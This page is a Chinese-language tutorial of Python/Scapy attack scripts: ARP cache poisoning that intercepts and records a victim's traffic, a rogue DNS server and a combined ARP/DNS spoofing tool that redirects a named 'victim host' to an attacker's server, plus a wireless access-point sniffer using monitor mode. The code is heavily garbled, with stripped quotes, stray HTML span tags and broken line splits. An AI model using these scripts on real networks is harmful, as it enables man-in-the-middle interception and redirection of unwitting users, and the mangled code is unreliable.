PythonARP缓存投毒与DNS欺骗

利用Scapy进行ARP缓存投毒

from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
#以下代码中调用send函数的方式稍有不同
print [*] Restoring target…
send(ARP(op
=2,psrc=gateway_ip,pdst=target_ip,hwdst=ff:ff:ff:ff:ff:ff,hwsrc=gateway_mac),count=5)
send(ARP(op
=2,psrc=target_ip,pdst=gateway_ip,hwdst=ff:ff:ff:ff:ff:ff,hwsrc=target_mac),count=5)
#发送退出信号到主线程
os.kill(os.getpid(),signal.SIGINT)

def get_mac(ip_address):
responses,unanswered
= srp(Ether(dst=ff:ff:ff:ff:ff:ff)/ARP(pdst=ip_address),timeout=2,retry=10)
#返回从响应数据中获取的Mac地址
for s,r in responses:
return r[Ether].src
return None

def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target
= ARP()
poison_target.op
= 2
poison_target.psrc
= gateway_ip
poison_target.pdst
= target_ip
poison_target.hwdst
= target_mac

poison_gateway </span>=<span style="color: #000000;"> ARP()
poison_gateway.op </span>= 2<span style="color: #000000;">
poison_gateway.psrc </span>=<span style="color: #000000;"> target_ip
poison_gateway.pdst </span>=<span style="color: #000000;"> gateway_ip
poison_gateway.hwdst </span>=<span style="color: #000000;"> gateway_mac
</span><span style="color: #0000ff;">print(</span><span style="color: #800000;">"</span><span style="color: #800000;">[*] Beginning the ARP poison. [CTRL-C to stop]</span><span style="color: #800000;">")</span>

<span style="color: #0000ff;">while</span><span style="color: #000000;"> True:
    </span><span style="color: #0000ff;">try</span><span style="color: #000000;">:
        send(poison_target)
        send(poison_gateway)
        time.sleep(</span>2<span style="color: #000000;">)
    </span><span style="color: #0000ff;">except</span><span style="color: #000000;"> KeyboardInterrupt:
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
</span><span style="color: #0000ff;">print</span> <span style="color: #800000;">"</span><span style="color: #800000;">[*] ARP poison attack finished. </span><span style="color: #800000;">"</span>
<span style="color: #0000ff;">return</span><span style="color: #000000;">

interface = eth0
target_ip
= 10.10.10.134“    #被攻击主机
gateway_ip
= 10.10.10.2“     #网关
packet_count
= 1000        #攻击次数

#设置嗅探的网卡
conf.iface = interface

#关闭输出
conf.verb = 0

print [] Setting up %s%interface
gateway_mac
= get_mac(gateway_ip)
if gateway_mac is None:
print [!!!] Failed to get gateway MAC. Exiting.
sys.exit(0)
else:
print [
] Gateway %s is at %s%(gateway_ip,gateway_mac)

target_mac = get_mac(target_ip)

if target_mac is None:
print [!!!] Failed to get target MAC. Exiting.
sys.exit(0)
else:
print [*] Target %s is at %s%(target_ip,target_mac)

#启动ARP投毒攻击
poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()

try:
print [*] Starting sniffer for %d packets%packet_count
bpf_filter
= ip host %s%target_ip
packets
= sniff(count=packet_count,filter=bpf_filter,iface=interface)

</span><span style="color: #008000;">#</span><span style="color: #008000;">将捕获到的数据包输出到文件</span>
wrpcap(<span style="color: #800000;">'</span><span style="color: #800000;">arper.pcap</span><span style="color: #800000;">'</span><span style="color: #000000;">,packets)
</span><span style="color: #008000;">#</span><span style="color: #008000;">还原网络配置</span>

restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
#还原网络配置
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)

Python DNS 服务器实现

import socketserver,struct

class SinDNSQuery:
def init(self, data):
i
= 1
self.name
= ‘’
while True:
d
= data[i]
if d == 0:
break;
if d < 32:
self.name
= self.name + .
else:
self.name
= self.name + chr(d)
i
= i + 1
self.querybytes
= data[0:i + 1]
(self.type, self.classify)
= struct.unpack(>HH, data[i + 1:i + 5])
self.len
= i + 5
def getbytes(self):
return self.querybytes + struct.pack(>HH, self.type, self.classify)

class SinDNSAnswer:
def init(self, ip):
self.name
= 49164
self.type
= 1
self.classify
= 1
self.timetolive
= 190
self.datalength
= 4
self.ip
= ip
def getbytes(self):
res
= struct.pack(>HHHLH, self.name, self.type, self.classify, self.timetolive, self.datalength)
s
= self.ip.split(.)
res
= res + struct.pack(BBBB, int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res

class SinDNSFrame:
def init(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition)
= struct.unpack(>HHHHHH, data[0:12])
self.query
= SinDNSQuery(data[12:])
def getname(self):
return self.query.name
def setip(self, ip):
self.answer
= SinDNSAnswer(ip)
self.answers
= 1
self.flags
= 33152
def getbytes(self):
res
= struct.pack(>HHHHHH, self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res
= res + self.query.getbytes()
if self.answers != 0:
res
= res + self.answer.getbytes()
return res

class SinDNSUDPHandler(socketserver.BaseRequestHandler):
def handle(self):
data
= self.request[0].strip()
dns
= SinDNSFrame(data)
socket
= self.request[1]
namemap
= SinDNSServer.namemap
if(dns.query.type==1):
name
= dns.getname();
if namemap.contains(name):
dns.setip(namemap[name])
socket.sendto(dns.getbytes(), self.client_address)
elif namemap.contains():
dns.setip(namemap[
])
socket.sendto(dns.getbytes(), self.client_address)
else:
socket.sendto(data, self.client_address)
else:
socket.sendto(data, self.client_address)
print(self.client_address)

class SinDNSServer:
def init(self, port=53):
SinDNSServer.namemap
= {}
self.port
= port
def addname(self, name, ip):
SinDNSServer.namemap[name]
= ip
def start(self):
HOST, PORT
= 0.0.0.0, self.port
server
= socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()

if name == main:
server
= SinDNSServer()
server.addname(
www.lyshark.com, 192.168.1.20)
server.addname(
*, 192.168.1.20)
server.start()

DNS欺骗之欺骗代码

import sys
import os
import threading
from scapy.all import *
from optparse import  OptionParser

#DNS欺骗函数
def DNS_Spoof(data):
if data.haslayer(DNS):
try:
#构造DNS AN数据
dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
#构造IP/UDP数据包
repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
#构造DNS数据包
repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
#攻击信息输出
print (\nhancker ip : + jokers + url : +data[DNS].qd.qname)
#发送数据包
send(repdata)
except Exception:
sys.exit(
1)

#DNS欺骗函数
def DNS_S(dns_ip,iface):
global jokers
jokers
=dns_ip
print (DNS欺骗开始!)
sniff(prn
=DNS_Spoof,filter=udp dst port 53,iface=iface)

#ARP欺骗函数
def op(eths,mubiao_ip,gateway_ip):
ip
=mubiao_ip
wifi
=gateway_ip
#目标设备MAC地址
dst_Mac=str(getmacbyip(ip))
#黑客设备mac地址
self_Mac=str(get_if_hwaddr(eths))
#网关MAC地址
wifi_Mac=str(getmacbyip(wifi))
#构造以太帧数据
Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
try:
#发送以太帧数据,sendp发送OSI模型中的二层数据
sendp(Ether_data,inter=2,iface=eths,loop=1)
except Exception as e:
print(目标ARP数据发送失败!)

def wifi(eths,mubiao_ip,gateway_ip,dns_ip):
ip
=gateway_ip
dst
=mubiao_ip
et
= eths
#根据IP获取MAC
dst_Mac = getmacbyip(ip)
#根据网卡获取MAC
self_Mac = get_if_hwaddr(et)
Ether_data
= None

</span><span style="color: #008000;">#</span><span style="color: #008000;">构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据</span>
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=<span style="color: #800000;">'</span><span style="color: #800000;">12:1a:13:a3:13:ef</span><span style="color: #800000;">'</span>, psrc=dst, hwdst=dst_Mac, pdst=<span style="color: #000000;">ip)
</span><span style="color: #008000;">#</span><span style="color: #008000;">新线程,开始DNS欺骗</span>
t3 = threading.Thread(target=DNS_S, args=<span style="color: #000000;">(dns_ip,eths))
t3.setDaemon(True)
t3.start()
</span><span style="color: #0000ff;">try</span><span style="color: #000000;">:
    sendp(Ether_data, inter</span>=2,iface=et,loop=1<span style="color: #000000;">)
</span><span style="color: #0000ff;">except</span><span style="color: #000000;"> Exception as e:
    </span><span style="color: #0000ff;">print</span>(<span style="color: #800000;">"</span><span style="color: #800000;">网关ARP数据发送失败!</span><span style="color: #800000;">"</span><span style="color: #000000;">)

def main():
try:
eth
= Realtek PCIe GBE Family Controller # 网卡名称
mubiao=192.168.1.8 # 被害主机
gateway=192.168.1.1 # 网关
dip=192.168.1.20 # apache服务器地址
t1=threading.Thread(target=op,args=(eth,mubiao,gateway))
t1.setDaemon(True)
t1.start()
t2
=threading.Thread(target=wifi,args=(eth,mubiao,gateway,dip))
t2.setDaemon(True)
t2.start()
except Exception as e:
print (e)
sys.exit(
1)

</span><span style="color: #0000ff;">while</span><span style="color: #000000;"> True:
    </span><span style="color: #0000ff;">pass</span>

if name == main:
main()

关于无线网嗅探

#coding=utf-8

import os
import sys
import subprocess
from scapy.all import *

RSN = 48 #管理帧信息元素(Dot11Elt)ID48是RSN信息
WPA = 221 #管理帧信息元素ID221是WPA信息
Dot11i = {0:GroupCipher,
1:WEP-40,
2:TKIP,
4:CCMP,
5:WEP-104
}
#RSN信息的第6字节
WPA_Auth = {1:802.11x/PMK,
2:PSK
}
#RSN信息的第22字节
DN = open(os.devnull,w)

def get_wlan_interfaces():
‘’’
返回当前PC上所有的无线网卡以及网卡所处的模式
‘’’
interfaces
= {monitor:[],managed:[],all:[]}
proc
= subprocess.Popen([iwconfig],stdout=subprocess.PIPE,stderr=DN)
lines
= proc.communicate()[0].split(\n)
for line in lines:
if line:
if line[0] != :
iface
= line.split( )[0]
if Mode:Monitor in line:
interfaces[
monitor].append(iface)
if IEEE 802.11 in line:
interfaces[
managed].append(iface)
interfaces[
all].append(iface)
if len(interfaces[managed]) == 0:
sys.exit(
[!]没有无线网卡,请插入网卡)
return interfaces

interfaces = get_wlan_interfaces() #获取当前的无线网卡

def get_strongest_inface():
‘’’
通过iwlist dev scan命令,根据无线网卡可获取到的AP数量来判断哪个网卡的功率最强
‘’’
iface_APs
= []
#interfaces = get_wlan_interfaces()
for iface in interfaces[managed]:
count
= 0
if iface:
proc
= subprocess.Popen([iwlist,iface,scan],stdout=subprocess.PIPE,stderr=DN)
lines
= proc.communicate()[0].split(\n)
for line in lines:
if line:
if - Address: in line:
count
+= 1
iface_APs.append((count,iface))
interface
= max(iface_APs)[1]
return interface

def start_monitor_mode():
‘’’
通过airmon-ng工具将无线网卡启动为监听状态
‘’’
if interfaces[monitor]:
print []监听网卡为:%s % interfaces[monitor][0]
return interfaces[monitor][0]
interface
= get_strongest_inface()
print [
]网卡%s开启监听模式… % interface
try:
os.system(
/usr/sbin/airmon-ng start %s % interface)
moni_inface
= get_wlan_interfaces()[monitor]
print [*]监听网卡为:%s % moni_inface[0]
return moni_inface
except:
sys.exit(
[!]无法开启监听模式)

def get_AP_info(pkt):
‘’’
从Dot11数据包中获取AP的SSID,BSSID,chanle,加密等信息
‘’’
AP_info
= {}
bssid
= pkt[Dot11][Dot11Elt].info
ssid
= pkt[Dot11].addr2
chanle
= str(ord(pkt[Dot11][Dot11Elt][:3].info))
AP_infos
= [bssid,chanle]
wpa_info,cipher_info
= get_Dot11_RSN(pkt)
if wpa_info and cipher_info:
AP_infos
= AP_infos + [wpa_info,cipher_info]
AP_info[ssid]
=AP_infos
return AP_info

APs_info = {}
def get_APs_info(pkt):
global APs_info
if pkt.haslayer(Dot11) and (pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp)):
AP_info
= get_AP_info(pkt)

    </span><span style="color: #0000ff;">if</span> <span style="color: #0000ff;">not</span><span style="color: #000000;"> APs_info.has_key(AP_info.keys()[0]):
        APs_info.update(AP_info)   
</span><span style="color: #0000ff;">return</span><span style="color: #000000;"> APs_info

already_shows = []
def show_APs_info(pkt):
global already_shows
APs_info
= get_APs_info(pkt)
for (key,value) in APs_info.items():
if key not in already_shows:
already_shows.append(key)
print - * 40
print [+]AP的BSSID:%s % value[0]
print [+]AP的SSID:%s % key
print [+]AP当前的chanle:%s % value[1]
if len(value) == 4:
print [+]AP的认证方式为:%s % value[2]
print [+]AP的加密算法为:%s % value[3]
else:
print [+]开放验证!!
print - * 40

def get_Dot11_RSN(pkt):
‘’’
从Beacon帧以及ProbeResponse帧获取cipher及auth信息
‘’’
ssid
= pkt[Dot11].addr2
len_Elt
= len(pkt[Dot11Elt].summary().split(/))
#print pkt.show()
for i in range(len_Elt):
if pkt[Dot11Elt][i].ID == RSN:
try:
RSN_info
= hexstr(pkt[Dot11Elt][i].info)
cipher_index
= RSN_info.find(ac) #第一个00 0f ac 02中的&lsquo;02&rsquo;代表cipher
auth_index = RSN_info.rfind(ac) #从后往前数第一个00 0f ac 02中的&lsquo;02&rsquo;代表AUTH
cipher_num = int(RSN_info[(cipher_index + 3):(cipher_index + 5)])
auth_num
= int(RSN_info[(auth_index + 3):(auth_index + 5)])
for key,value in Dot11i.items():
if cipher_num == key:
cipher_info
= value
for key,value in WPA_Auth.items():
if auth_num == key:
wpa_info
= value
#print wpa_info,cipher_info
return wpa_info,cipher_info
except:
pass
return None,None

def sniffering(interface,action):
‘’’
嗅探5000个数据包
‘’’
print [*]附近AP信息如下:
sniff(iface
=interface,prn=action,count=5000,store=0)

def main():
moni_inface
= start_monitor_mode()
sniffering(moni_inface, show_APs_info)

if name == main:
main()